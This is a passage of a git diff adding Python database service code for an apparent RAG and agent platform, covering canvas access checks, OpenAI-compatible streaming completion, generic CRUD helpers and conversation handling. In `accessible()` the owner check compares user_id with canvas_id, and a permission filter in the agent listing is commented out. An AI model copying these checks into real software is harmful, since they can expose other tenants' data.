+ agents = cls.model.select(*fields).join(User, on=(cls.model.user_id == User.id)).where(
+ cls.model.user_id.in_(joined_tenant_ids)
+ #(((cls.model.user_id.in_(joined_tenant_ids)) & (cls.model.permission == TenantPermission.TEAM.value)) | (cls.model.user_id == user_id))
+ )
+ if canvas_category:
+ agents = agents.where(cls.model.canvas_category == canvas_category)
+ if desc:
+ agents = agents.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ agents = agents.order_by(cls.model.getter_by(orderby).asc())
+
+ count = agents.count()
+ if page_number and items_per_page:
+ agents = agents.paginate(page_number, items_per_page)
+ return list(agents.dicts()), count
+
+ @classmethod
+ @DB.connection_context()
+ def accessible(cls, canvas_id, tenant_id):
+ from api.db.services.user_service import UserTenantService
+ e, c = UserCanvasService.get_by_canvas_id(canvas_id)
+ if not e:
+ return False
+
+ tids = [t.tenant_id for t in UserTenantService.query(user_id=tenant_id)]
+ if c["user_id"] != canvas_id and c["user_id"] not in tids:
+ return False
+ return True
+
+
+def completion(tenant_id, agent_id, session_id=None, **kwargs):
+ query = kwargs.get("query", "") or kwargs.get("question", "")
+ files = kwargs.get("files", [])
+ inputs = kwargs.get("inputs", {})
+ user_id = kwargs.get("user_id", "")
+
+ if session_id:
+ e, conv = API4ConversationService.get_by_id(session_id)
+ assert e, "Session not found!"
+ if not conv.message:
+ conv.message = []
+ if not isinstance(conv.dsl, str):
+ conv.dsl = json.dumps(conv.dsl, ensure_ascii=False)
+ canvas = Canvas(conv.dsl, tenant_id, agent_id)
+ else:
+ e, cvs = UserCanvasService.get_by_id(agent_id)
+ assert e, "Agent not found."
+ assert cvs.user_id == tenant_id, "You do not own the agent."
+ if not isinstance(cvs.dsl, str):
+ cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False)
+ session_id=get_uuid()
+ canvas = Canvas(cvs.dsl, tenant_id, agent_id)
+ canvas.reset()
+ conv = {
+ "id": session_id,
+ "dialog_id": cvs.id,
+ "user_id": user_id,
+ "message": [],
+ "source": "agent",
+ "dsl": cvs.dsl,
+ "reference": []
+ }
+ API4ConversationService.save(**conv)
+ conv = API4Conversation(**conv)
+
+ message_id = str(uuid4())
+ conv.message.append({
+ "role": "user",
+ "content": query,
+ "id": message_id
+ })
+ txt = ""
+ for ans in canvas.run(query=query, files=files, user_id=user_id, inputs=inputs):
+ ans["session_id"] = session_id
+ if ans["event"] == "message":
+ txt += ans["data"]["content"]
+ yield "data:" + json.dumps(ans, ensure_ascii=False) + "\n\n"
+
+ conv.message.append({"role": "assistant", "content": txt, "created_at": time.time(), "id": message_id})
+ conv.reference = canvas.get_reference()
+ conv.errors = canvas.error
+ conv.dsl = str(canvas)
+ conv = conv.to_dict()
+ API4ConversationService.append_message(conv["id"], conv)
+
+
+def completionOpenAI(tenant_id, agent_id, question, session_id=None, stream=True, **kwargs):
+ tiktokenenc = tiktoken.get_encoding("cl100k_base")
+ prompt_tokens = len(tiktokenenc.encode(str(question)))
+ user_id = kwargs.get("user_id", "")
+
+ if stream:
+ completion_tokens = 0
+ try:
+ for ans in completion(
+ tenant_id=tenant_id,
+ agent_id=agent_id,
+ session_id=session_id,
+ query=question,
+ user_id=user_id,
+ **kwargs
+ ):
+ if isinstance(ans, str):
+ try:
+ ans = json.loads(ans[5:]) # remove "data:"
+ except Exception as e:
+ logging.exception(f"Agent OpenAI-Compatible completionOpenAI parse answer failed: {e}")
+ continue
+ if ans.get("event") not in ["message", "message_end"]:
+ continue
+
+ content_piece = ""
+ if ans["event"] == "message":
+ content_piece = ans["data"]["content"]
+
+ completion_tokens += len(tiktokenenc.encode(content_piece))
+
+ openai_data = get_data_openai(
+ id=session_id or str(uuid4()),
+ model=agent_id,
+ content=content_piece,
+ prompt_tokens=prompt_tokens,
+ completion_tokens=completion_tokens,
+ stream=True
+ )
+
+ if ans.get("data", {}).get("reference", None):
+ openai_data["choices"][0]["delta"]["reference"] = ans["data"]["reference"]
+
+ yield "data: " + json.dumps(openai_data, ensure_ascii=False) + "\n\n"
+
+ yield "data: [DONE]\n\n"
+
+ except Exception as e:
+ logging.exception(e)
+ yield "data: " + json.dumps(
+ get_data_openai(
+ id=session_id or str(uuid4()),
+ model=agent_id,
+ content=f"**ERROR**: {str(e)}",
+ finish_reason="stop",
+ prompt_tokens=prompt_tokens,
+ completion_tokens=len(tiktokenenc.encode(f"**ERROR**: {str(e)}")),
+ stream=True
+ ),
+ ensure_ascii=False
+ ) + "\n\n"
+ yield "data: [DONE]\n\n"
+
+ else:
+ try:
+ all_content = ""
+ reference = {}
+ for ans in completion(
+ tenant_id=tenant_id,
+ agent_id=agent_id,
+ session_id=session_id,
+ query=question,
+ user_id=user_id,
+ **kwargs
+ ):
+ if isinstance(ans, str):
+ ans = json.loads(ans[5:])
+ if ans.get("event") not in ["message", "message_end"]:
+ continue
+
+ if ans["event"] == "message":
+ all_content += ans["data"]["content"]
+
+ if ans.get("data", {}).get("reference", None):
+ reference.update(ans["data"]["reference"])
+
+ completion_tokens = len(tiktokenenc.encode(all_content))
+
+ openai_data = get_data_openai(
+ id=session_id or str(uuid4()),
+ model=agent_id,
+ prompt_tokens=prompt_tokens,
+ completion_tokens=completion_tokens,
+ content=all_content,
+ finish_reason="stop",
+ param=None
+ )
+
+ if reference:
+ openai_data["choices"][0]["message"]["reference"] = reference
+
+ yield openai_data
+ except Exception as e:
+ logging.exception(e)
+ yield get_data_openai(
+ id=session_id or str(uuid4()),
+ model=agent_id,
+ prompt_tokens=prompt_tokens,
+ completion_tokens=len(tiktokenenc.encode(f"**ERROR**: {str(e)}")),
+ content=f"**ERROR**: {str(e)}",
+ finish_reason="stop",
+ param=None
+ )
diff --git a/api/db/services/common_service.py b/api/db/services/common_service.py
new file mode 100644
index 0000000..a5c8714
--- /dev/null
+++ b/api/db/services/common_service.py
@@ -0,0 +1,345 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from datetime import datetime
+from tenacity import retry, stop_after_attempt, wait_exponential, retry_if_exception_type
+import peewee
+from peewee import InterfaceError, OperationalError
+
+from api.db.db_models import DB
+from api.utils import current_timestamp, datetime_format, get_uuid
+
+def retry_db_operation(func):
+ @retry(
+ stop=stop_after_attempt(3),
+ wait=wait_exponential(multiplier=1, min=1, max=5),
+ retry=retry_if_exception_type((InterfaceError, OperationalError)),
+ before_sleep=lambda retry_state: print(f"RETRY {retry_state.attempt_number} TIMES"),
+ reraise=True,
+ )
+ def wrapper(*args, **kwargs):
+ return func(*args, **kwargs)
+ return wrapper
+
+class CommonService:
+ """Base service class that provides common database operations.
+
+ This class serves as a foundation for all service classes in the application,
+ implementing standard CRUD operations and common database query patterns.
+ It uses the Peewee ORM for database interactions and provides a consistent
+ interface for database operations across all derived service classes.
+
+ Attributes:
+ model: The Peewee model class that this service operates on. Must be set by subclasses.
+ """
+
+ model = None
+
+ @classmethod
+ @DB.connection_context()
+ def query(cls, cols=None, reverse=None, order_by=None, **kwargs):
+ """Execute a database query with optional column selection and ordering.
+
+ This method provides a flexible way to query the database with various filters
+ and sorting options. It supports column selection, sort order control, and
+ additional filter conditions.
+
+ Args:
+ cols (list, optional): List of column names to select. If None, selects all columns.
+ reverse (bool, optional): If True, sorts in descending order. If False, sorts in ascending order.
+ order_by (str, optional): Column name to sort results by.
+ **kwargs: Additional filter conditions passed as keyword arguments.
+
+ Returns:
+ peewee.ModelSelect: A query result containing matching records.
+ """
+ return cls.model.query(cols=cols, reverse=reverse, order_by=order_by, **kwargs)
+
+ @classmethod
+ @DB.connection_context()
+ def get_all(cls, cols=None, reverse=None, order_by=None):
+ """Retrieve all records from the database with optional column selection and ordering.
+
+ This method fetches all records from the model's table with support for
+ column selection and result ordering. If no order_by is specified and reverse
+ is True, it defaults to ordering by create_time.
+
+ Args:
+ cols (list, optional): List of column names to select. If None, selects all columns.
+ reverse (bool, optional): If True, sorts in descending order. If False, sorts in ascending order.
+ order_by (str, optional): Column name to sort results by. Defaults to 'create_time' if reverse is specified.
+
+ Returns:
+ peewee.ModelSelect: A query containing all matching records.
+ """
+ if cols:
+ query_records = cls.model.select(*cols)
+ else:
+ query_records = cls.model.select()
+ if reverse is not None:
+ if not order_by or not hasattr(cls, order_by):
+ order_by = "create_time"
+ if reverse is True:
+ query_records = query_records.order_by(cls.model.getter_by(order_by).desc())
+ elif reverse is False:
+ query_records = query_records.order_by(cls.model.getter_by(order_by).asc())
+ return query_records
+
+ @classmethod
+ @DB.connection_context()
+ def get(cls, **kwargs):
+ """Get a single record matching the given criteria.
+
+ This method retrieves a single record from the database that matches
+ the specified filter conditions.
+
+ Args:
+ **kwargs: Filter conditions as keyword arguments.
+
+ Returns:
+ Model instance: Single matching record.
+
+ Raises:
+ peewee.DoesNotExist: If no matching record is found.
+ """
+ return cls.model.get(**kwargs)
+
+ @classmethod
+ @DB.connection_context()
+ def get_or_none(cls, **kwargs):
+ """Get a single record or None if not found.
+
+ This method attempts to retrieve a single record matching the given criteria,
+ returning None if no match is found instead of raising an exception.
+
+ Args:
+ **kwargs: Filter conditions as keyword arguments.
+
+ Returns:
+ Model instance or None: Matching record if found, None otherwise.
+ """
+ try:
+ return cls.model.get(**kwargs)
+ except peewee.DoesNotExist:
+ return None
+
+ @classmethod
+ @DB.connection_context()
+ def save(cls, **kwargs):
+ """Save a new record to database.
+
+ This method creates a new record in the database with the provided field values,
+ forcing an insert operation rather than an update.
+
+ Args:
+ **kwargs: Record field values as keyword arguments.
+
+ Returns:
+ Model instance: The created record object.
+ """
+ sample_obj = cls.model(**kwargs).save(force_insert=True)
+ return sample_obj
+
+ @classmethod
+ @DB.connection_context()
+ def insert(cls, **kwargs):
+ """Insert a new record with automatic ID and timestamps.
+
+ This method creates a new record with automatically generated ID and timestamp fields.
+ It handles the creation of create_time, create_date, update_time, and update_date fields.
+
+ Args:
+ **kwargs: Record field values as keyword arguments.
+
+ Returns:
+ Model instance: The newly created record object.
+ """
+ if "id" not in kwargs:
+ kwargs["id"] = get_uuid()
+ kwargs["create_time"] = current_timestamp()
+ kwargs["create_date"] = datetime_format(datetime.now())
+ kwargs["update_time"] = current_timestamp()
+ kwargs["update_date"] = datetime_format(datetime.now())
+ sample_obj = cls.model(**kwargs).save(force_insert=True)
+ return sample_obj
+
+ @classmethod
+ @DB.connection_context()
+ def insert_many(cls, data_list, batch_size=100):
+ """Insert multiple records in batches.
+
+ This method efficiently inserts multiple records into the database using batch processing.
+ It automatically sets creation timestamps for all records.
+
+ Args:
+ data_list (list): List of dictionaries containing record data to insert.
+ batch_size (int, optional): Number of records to insert in each batch. Defaults to 100.
+ """
+ with DB.atomic():
+ for d in data_list:
+ d["create_time"] = current_timestamp()
+ d["create_date"] = datetime_format(datetime.now())
+ for i in range(0, len(data_list), batch_size):
+ cls.model.insert_many(data_list[i : i + batch_size]).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def update_many_by_id(cls, data_list):
+ """Update multiple records by their IDs.
+
+ This method updates multiple records in the database, identified by their IDs.
+ It automatically updates the update_time and update_date fields for each record.
+
+ Args:
+ data_list (list): List of dictionaries containing record data to update.
+ Each dictionary must include an 'id' field.
+ """
+ with DB.atomic():
+ for data in data_list:
+ data["update_time"] = current_timestamp()
+ data["update_date"] = datetime_format(datetime.now())
+ cls.model.update(data).where(cls.model.id == data["id"]).execute()
+
+ @classmethod
+ @DB.connection_context()
+ @retry_db_operation
+ def update_by_id(cls, pid, data):
+ # Update a single record by ID
+ # Args:
+ # pid: Record ID
+ # data: Updated field values
+ # Returns:
+ # Number of records updated
+ data["update_time"] = current_timestamp()
+ data["update_date"] = datetime_format(datetime.now())
+ num = cls.model.update(data).where(cls.model.id == pid).execute()
+ return num
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_id(cls, pid):
+ # Get a record by ID
+ # Args:
+ # pid: Record ID
+ # Returns:
+ # Tuple of (success, record)
+ try:
+ obj = cls.model.get_or_none(cls.model.id == pid)
+ if obj:
+ return True, obj
+ except Exception:
+ pass
+ return False, None
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_ids(cls, pids, cols=None):
+ # Get multiple records by their IDs
+ # Args:
+ # pids: List of record IDs
+ # cols: List of columns to select
+ # Returns:
+ # Query of matching records
+ if cols:
+ objs = cls.model.select(*cols)
+ else:
+ objs = cls.model.select()
+ return objs.where(cls.model.id.in_(pids))
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_id(cls, pid):
+ # Delete a record by ID
+ # Args:
+ # pid: Record ID
+ # Returns:
+ # Number of records deleted
+ return cls.model.delete().where(cls.model.id == pid).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_ids(cls, pids):
+ # Delete multiple records by their IDs
+ # Args:
+ # pids: List of record IDs
+ # Returns:
+ # Number of records deleted
+ with DB.atomic():
+ res = cls.model.delete().where(cls.model.id.in_(pids)).execute()
+ return res
+
+ @classmethod
+ @DB.connection_context()
+ def filter_delete(cls, filters):
+ # Delete records matching given filters
+ # Args:
+ # filters: List of filter conditions
+ # Returns:
+ # Number of records deleted
+ with DB.atomic():
+ num = cls.model.delete().where(*filters).execute()
+ return num
+
+ @classmethod
+ @DB.connection_context()
+ def filter_update(cls, filters, update_data):
+ # Update records matching given filters
+ # Args:
+ # filters: List of filter conditions
+ # update_data: Updated field values
+ # Returns:
+ # Number of records updated
+ with DB.atomic():
+ return cls.model.update(update_data).where(*filters).execute()
+
+ @staticmethod
+ def cut_list(tar_list, n):
+ # Split a list into chunks of size n
+ # Args:
+ # tar_list: List to split
+ # n: Chunk size
+ # Returns:
+ # List of tuples containing chunks
+ length = len(tar_list)
+ arr = range(length)
+ result = [tuple(tar_list[x : (x + n)]) for x in arr[::n]]
+ return result
+
+ @classmethod
+ @DB.connection_context()
+ def filter_scope_list(cls, in_key, in_filters_list, filters=None, cols=None):
+ # Get records matching IN clause filters with optional column selection
+ # Args:
+ # in_key: Field name for IN clause
+ # in_filters_list: List of values for IN clause
+ # filters: Additional filter conditions
+ # cols: List of columns to select
+ # Returns:
+ # List of matching records
+ in_filters_tuple_list = cls.cut_list(in_filters_list, 20)
+ if not filters:
+ filters = []
+ res_list = []
+ if cols:
+ for i in in_filters_tuple_list:
+ query_records = cls.model.select(*cols).where(getattr(cls.model, in_key).in_(i), *filters)
+ if query_records:
+ res_list.extend([query_record for query_record in query_records])
+ else:
+ for i in in_filters_tuple_list:
+ query_records = cls.model.select().where(getattr(cls.model, in_key).in_(i), *filters)
+ if query_records:
+ res_list.extend([query_record for query_record in query_records])
+ return res_list
diff --git a/api/db/services/conversation_service.py b/api/db/services/conversation_service.py
new file mode 100644
index 0000000..53913f4
--- /dev/null
+++ b/api/db/services/conversation_service.py
@@ -0,0 +1,242 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import time
+from uuid import uuid4
+from api.db import StatusEnum
+from api.db.db_models import Conversation, DB
+from api.db.services.api_service import API4ConversationService
+from api.db.services.common_service import CommonService
+from api.db.services.dialog_service import DialogService, chat
+from api.utils import get_uuid
+import json
+
+from rag.prompts.generator import chunks_format
+
+
+class ConversationService(CommonService):
+ model = Conversation
+
+ @classmethod
+ @DB.connection_context()
+ def get_list(cls, dialog_id, page_number, items_per_page, orderby, desc, id, name, user_id=None):
+ sessions = cls.model.select().where(cls.model.dialog_id == dialog_id)
+ if id:
+ sessions = sessions.where(cls.model.id == id)
+ if name:
+ sessions = sessions.where(cls.model.name == name)
+ if user_id:
+ sessions = sessions.where(cls.model.user_id == user_id)
+ if desc:
+ sessions = sessions.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ sessions = sessions.order_by(cls.model.getter_by(orderby).asc())
+
+ sessions = sessions.paginate(page_number, items_per_page)
+
+ return list(sessions.dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_conversation_by_dialog_ids(cls, dialog_ids):
+ sessions = cls.model.select().where(cls.model.dialog_id.in_(dialog_ids))
+ sessions.order_by(cls.model.create_time.asc())
+ offset, limit = 0, 100
+ res = []
+ while True:
+ s_batch = sessions.offset(offset).limit(limit)
+ _temp = list(s_batch.dicts())
+ if not _temp:
+ break
+ res.extend(_temp)
+ offset += limit
+ return res
+
+def structure_answer(conv, ans, message_id, session_id):
+ reference = ans["reference"]
+ if not isinstance(reference, dict):
+ reference = {}
+ ans["reference"] = {}
+
+ chunk_list = chunks_format(reference)
+
+ reference["chunks"] = chunk_list
+ ans["id"] = message_id
+ ans["session_id"] = session_id
+
+ if not conv:
+ return ans
+
+ if not conv.message:
+ conv.message = []
+ if not conv.message or conv.message[-1].get("role", "") != "assistant":
+ conv.message.append({"role": "assistant", "content": ans["answer"], "created_at": time.time(), "id": message_id})
+ else:
+ conv.message[-1] = {"role": "assistant", "content": ans["answer"], "created_at": time.time(), "id": message_id}
+ if conv.reference:
+ conv.reference[-1] = reference
+ return ans
+
+
+def completion(tenant_id, chat_id, question, name="New session", session_id=None, stream=True, **kwargs):
+ assert name, "`name` can not be empty."
+ dia = DialogService.query(id=chat_id, tenant_id=tenant_id, status=StatusEnum.VALID.value)
+ assert dia, "You do not own the chat."
+
+ if not session_id:
+ session_id = get_uuid()
+ conv = {
+ "id": session_id,
+ "dialog_id": chat_id,
+ "name": name,
+ "message": [{"role": "assistant", "content": dia[0].prompt_config.get("prologue"), "created_at": time.time()}],
+ "user_id": kwargs.get("user_id", "")
+ }
+ ConversationService.save(**conv)
+ if stream:
+ yield "data:" + json.dumps({"code": 0, "message": "",
+ "data": {
+ "answer": conv["message"][0]["content"],
+ "reference": {},
+ "audio_binary": None,
+ "id": None,
+ "session_id": session_id
+ }},
+ ensure_ascii=False) + "\n\n"
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+ return
+
+ conv = ConversationService.query(id=session_id, dialog_id=chat_id)
+ if not conv:
+ raise LookupError("Session does not exist")
+
+ conv = conv[0]
+ msg = []
+ question = {
+ "content": question,
+ "role": "user",
+ "id": str(uuid4())
+ }
+ conv.message.append(question)
+ for m in conv.message:
+ if m["role"] == "system":
+ continue
+ if m["role"] == "assistant" and not msg:
+ continue
+ msg.append(m)
+ message_id = msg[-1].get("id")
+ e, dia = DialogService.get_by_id(conv.dialog_id)
+
+ kb_ids = kwargs.get("kb_ids",[])
+ dia.kb_ids = list(set(dia.kb_ids + kb_ids))
+ if not conv.reference:
+ conv.reference = []
+ conv.message.append({"role": "assistant", "content": "", "id": message_id})
+ conv.reference.append({"chunks": [], "doc_aggs": []})
+
+ if stream:
+ try:
+ for ans in chat(dia, msg, True, **kwargs):
+ ans = structure_answer(conv, ans, message_id, session_id)
+ yield "data:" + json.dumps({"code": 0, "data": ans}, ensure_ascii=False) + "\n\n"
+ ConversationService.update_by_id(conv.id, conv.to_dict())
+ except Exception as e:
+ yield "data:" + json.dumps({"code": 500, "message": str(e),
+ "data": {"answer": "**ERROR**: " + str(e), "reference": []}},
+ ensure_ascii=False) + "\n\n"
+ yield "data:" + json.dumps({"code": 0, "data": True}, ensure_ascii=False) + "\n\n"
+
+ else:
+ answer = None
+ for ans in chat(dia, msg, False, **kwargs):
+ answer = structure_answer(conv, ans, message_id, session_id)
+ ConversationService.update_by_id(conv.id, conv.to_dict())
+ break
+ yield answer
+
+
+def iframe_completion(dialog_id, question, session_id=None, stream=True, **kwargs):
+ e, dia = DialogService.get_by_id(dialog_id)
+ assert e, "Dialog not found"
+ if not session_id:
+ session_id = get_uuid()
+ conv = {
+ "id": session_id,
+ "dialog_id": dialog_id,
+ "user_id": kwargs.get("user_id", ""),
+ "message": [{"role": "assistant", "content": dia.prompt_config["prologue"], "created_at": time.time()}]
+ }
+ API4ConversationService.save(**conv)
+ yield "data:" + json.dumps({"code": 0, "message": "",
+ "data": {
+ "answer": conv["message"][0]["content"],
+ "reference": {},
+ "audio_binary": None,
+ "id": None,
+ "session_id": session_id
+ }},
+ ensure_ascii=False) + "\n\n"
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+ return
+ else:
+ session_id = session_id
+ e, conv = API4ConversationService.get_by_id(session_id)
+ assert e, "Session not found!"
+
+ if not conv.message:
+ conv.message = []
+ messages = conv.message
+ question = {
+ "role": "user",
+ "content": question,
+ "id": str(uuid4())
+ }
+ messages.append(question)
+
+ msg = []
+ for m in messages:
+ if m["role"] == "system":
+ continue
+ if m["role"] == "assistant" and not msg:
+ continue
+ msg.append(m)
+ if not msg[-1].get("id"):
+ msg[-1]["id"] = get_uuid()
+ message_id = msg[-1]["id"]
+
+ if not conv.reference:
+ conv.reference = []
+ conv.reference.append({"chunks": [], "doc_aggs": []})
+
+ if stream:
+ try:
+ for ans in chat(dia, msg, True, **kwargs):
+ ans = structure_answer(conv, ans, message_id, session_id)
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": ans},
+ ensure_ascii=False) + "\n\n"
+ API4ConversationService.append_message(conv.id, conv.to_dict())
+ except Exception as e:
+ yield "data:" + json.dumps({"code": 500, "message": str(e),
+ "data": {"answer": "**ERROR**: " + str(e), "reference": []}},
+ ensure_ascii=False) + "\n\n"
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+ else:
+ answer = None
+ for ans in chat(dia, msg, False, **kwargs):
+ answer = structure_answer(conv, ans, message_id, session_id)
+ API4ConversationService.append_message(conv.id, conv.to_dict())
+ break
+ yield answer
diff --git a/api/db/services/dialog_service.py b/api/db/services/dialog_service.py
new file mode 100644
index 0000000..673000f
--- /dev/null
+++ b/api/db/services/dialog_service.py
@@ -0,0 +1,868 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import binascii
+import logging
+import re
+import time
+from copy import deepcopy
+from datetime import datetime
+from functools import partial
+from timeit import default_timer as timer
+import trio
+from langfuse import Langfuse
+from peewee import fn
+from agentic_reasoning import DeepResearcher
+from api import settings
+from api.db import LLMType, ParserType, StatusEnum
+from api.db.db_models import DB, Dialog
+from api.db.services.common_service import CommonService
+from api.db.services.document_service import DocumentService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.langfuse_service import TenantLangfuseService
+from api.db.services.llm_service import LLMBundle
+from api.db.services.tenant_llm_service import TenantLLMService
+from api.utils import current_timestamp, datetime_format
+from graphrag.general.mind_map_extractor import MindMapExtractor
+from rag.app.resume import forbidden_select_fields4resume
+from rag.app.tag import label_question
+from rag.nlp.search import index_name
+from rag.prompts.generator import chunks_format, citation_prompt, cross_languages, full_question, kb_prompt, keyword_extraction, message_fit_in, \
+ gen_meta_filter, PROMPT_JINJA_ENV, ASK_SUMMARY
+from rag.utils import num_tokens_from_string, rmSpace
+from rag.utils.tavily_conn import Tavily
+
+
+class DialogService(CommonService):
+ model = Dialog
+
+ @classmethod
+ def save(cls, **kwargs):
+ """Save a new record to database.
+
+ This method creates a new record in the database with the provided field values,
+ forcing an insert operation rather than an update.
+
+ Args:
+ **kwargs: Record field values as keyword arguments.
+
+ Returns:
+ Model instance: The created record object.
+ """
+ sample_obj = cls.model(**kwargs).save(force_insert=True)
+ return sample_obj
+
+ @classmethod
+ def update_many_by_id(cls, data_list):
+ """Update multiple records by their IDs.
+
+ This method updates multiple records in the database, identified by their IDs.
+ It automatically updates the update_time and update_date fields for each record.
+
+ Args:
+ data_list (list): List of dictionaries containing record data to update.
+ Each dictionary must include an 'id' field.
+ """
+ with DB.atomic():
+ for data in data_list:
+ data["update_time"] = current_timestamp()
+ data["update_date"] = datetime_format(datetime.now())
+ cls.model.update(data).where(cls.model.id == data["id"]).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def get_list(cls, tenant_id, page_number, items_per_page, orderby, desc, id, name):
+ chats = cls.model.select()
+ if id:
+ chats = chats.where(cls.model.id == id)
+ if name:
+ chats = chats.where(cls.model.name == name)
+ chats = chats.where((cls.model.tenant_id == tenant_id) & (cls.model.status == StatusEnum.VALID.value))
+ if desc:
+ chats = chats.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ chats = chats.order_by(cls.model.getter_by(orderby).asc())
+
+ chats = chats.paginate(page_number, items_per_page)
+
+ return list(chats.dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_tenant_ids(cls, joined_tenant_ids, user_id, page_number, items_per_page, orderby, desc, keywords, parser_id=None):
+ from api.db.db_models import User
+
+ fields = [
+ cls.model.id,
+ cls.model.tenant_id,
+ cls.model.name,
+ cls.model.description,
+ cls.model.language,
+ cls.model.llm_id,
+ cls.model.llm_setting,
+ cls.model.prompt_type,
+ cls.model.prompt_config,
+ cls.model.similarity_threshold,
+ cls.model.vector_similarity_weight,
+ cls.model.top_n,
+ cls.model.top_k,
+ cls.model.do_refer,
+ cls.model.rerank_id,
+ cls.model.kb_ids,
+ cls.model.icon,
+ cls.model.status,
+ User.nickname,
+ User.avatar.alias("tenant_avatar"),
+ cls.model.update_time,
+ cls.model.create_time,
+ ]
+ if keywords:
+ dialogs = (
+ cls.model.select(*fields)
+ .join(User, on=(cls.model.tenant_id == User.id))
+ .where(
+ (cls.model.tenant_id.in_(joined_tenant_ids) | (cls.model.tenant_id == user_id)) & (cls.model.status == StatusEnum.VALID.value),
+ (fn.LOWER(cls.model.name).contains(keywords.lower())),
+ )
+ )
+ else:
+ dialogs = (
+ cls.model.select(*fields)
+ .join(User, on=(cls.model.tenant_id == User.id))
+ .where(
+ (cls.model.tenant_id.in_(joined_tenant_ids) | (cls.model.tenant_id == user_id)) & (cls.model.status == StatusEnum.VALID.value),
+ )
+ )
+ if parser_id:
+ dialogs = dialogs.where(cls.model.parser_id == parser_id)
+ if desc:
+ dialogs = dialogs.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ dialogs = dialogs.order_by(cls.model.getter_by(orderby).asc())
+
+ count = dialogs.count()
+
+ if page_number and items_per_page:
+ dialogs = dialogs.paginate(page_number, items_per_page)
+
+ return list(dialogs.dicts()), count
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_dialogs_by_tenant_id(cls, tenant_id):
+ fields = [cls.model.id]
+ dialogs = cls.model.select(*fields).where(cls.model.tenant_id == tenant_id)
+ dialogs.order_by(cls.model.create_time.asc())
+ offset, limit = 0, 100
+ res = []
+ while True:
+ d_batch = dialogs.offset(offset).limit(limit)
+ _temp = list(d_batch.dicts())
+ if not _temp:
+ break
+ res.extend(_temp)
+ offset += limit
+ return res
+
+def chat_solo(dialog, messages, stream=True):
+ if TenantLLMService.llm_id2llm_type(dialog.llm_id) == "image2text":
+ chat_mdl = LLMBundle(dialog.tenant_id, LLMType.IMAGE2TEXT, dialog.llm_id)
+ else:
+ chat_mdl = LLMBundle(dialog.tenant_id, LLMType.CHAT, dialog.llm_id)
+
+ prompt_config = dialog.prompt_config
+ tts_mdl = None
+ if prompt_config.get("tts"):
+ tts_mdl = LLMBundle(dialog.tenant_id, LLMType.TTS)
+ msg = [{"role": m["role"], "content": re.sub(r"##\d+\$\$", "", m["content"])} for m in messages if m["role"] != "system"]
+ if stream:
+ last_ans = ""
+ delta_ans = ""
+ for ans in chat_mdl.chat_streamly(prompt_config.get("system", ""), msg, dialog.llm_setting):
+ answer = ans
+ delta_ans = ans[len(last_ans):]
+ if num_tokens_from_string(delta_ans) < 16:
+ continue
+ last_ans = answer
+ yield {"answer": answer, "reference": {}, "audio_binary": tts(tts_mdl, delta_ans), "prompt": "", "created_at": time.time()}
+ delta_ans = ""
+ if delta_ans:
+ yield {"answer": answer, "reference": {}, "audio_binary": tts(tts_mdl, delta_ans), "prompt": "", "created_at": time.time()}
+ else:
+ answer = chat_mdl.chat(prompt_config.get("system", ""), msg, dialog.llm_setting)
+ user_content = msg[-1].get("content", "[content not available]")
+ logging.debug("User: {}|Assistant: {}".format(user_content, answer))
+ yield {"answer": answer, "reference": {}, "audio_binary": tts(tts_mdl, answer), "prompt": "", "created_at": time.time()}
+
+
+def get_models(dialog):
+ embd_mdl, chat_mdl, rerank_mdl, tts_mdl = None, None, None, None
+ kbs = KnowledgebaseService.get_by_ids(dialog.kb_ids)
+ embedding_list = list(set([kb.embd_id for kb in kbs]))
+ if len(embedding_list) > 1:
+ raise Exception("**ERROR**: Knowledge bases use different embedding models.")
+
+ if embedding_list:
+ embd_mdl = LLMBundle(dialog.tenant_id, LLMType.EMBEDDING, embedding_list[0])
+ if not embd_mdl:
+ raise LookupError("Embedding model(%s) not found" % embedding_list[0])
+
+ if TenantLLMService.llm_id2llm_type(dialog.llm_id) == "image2text":
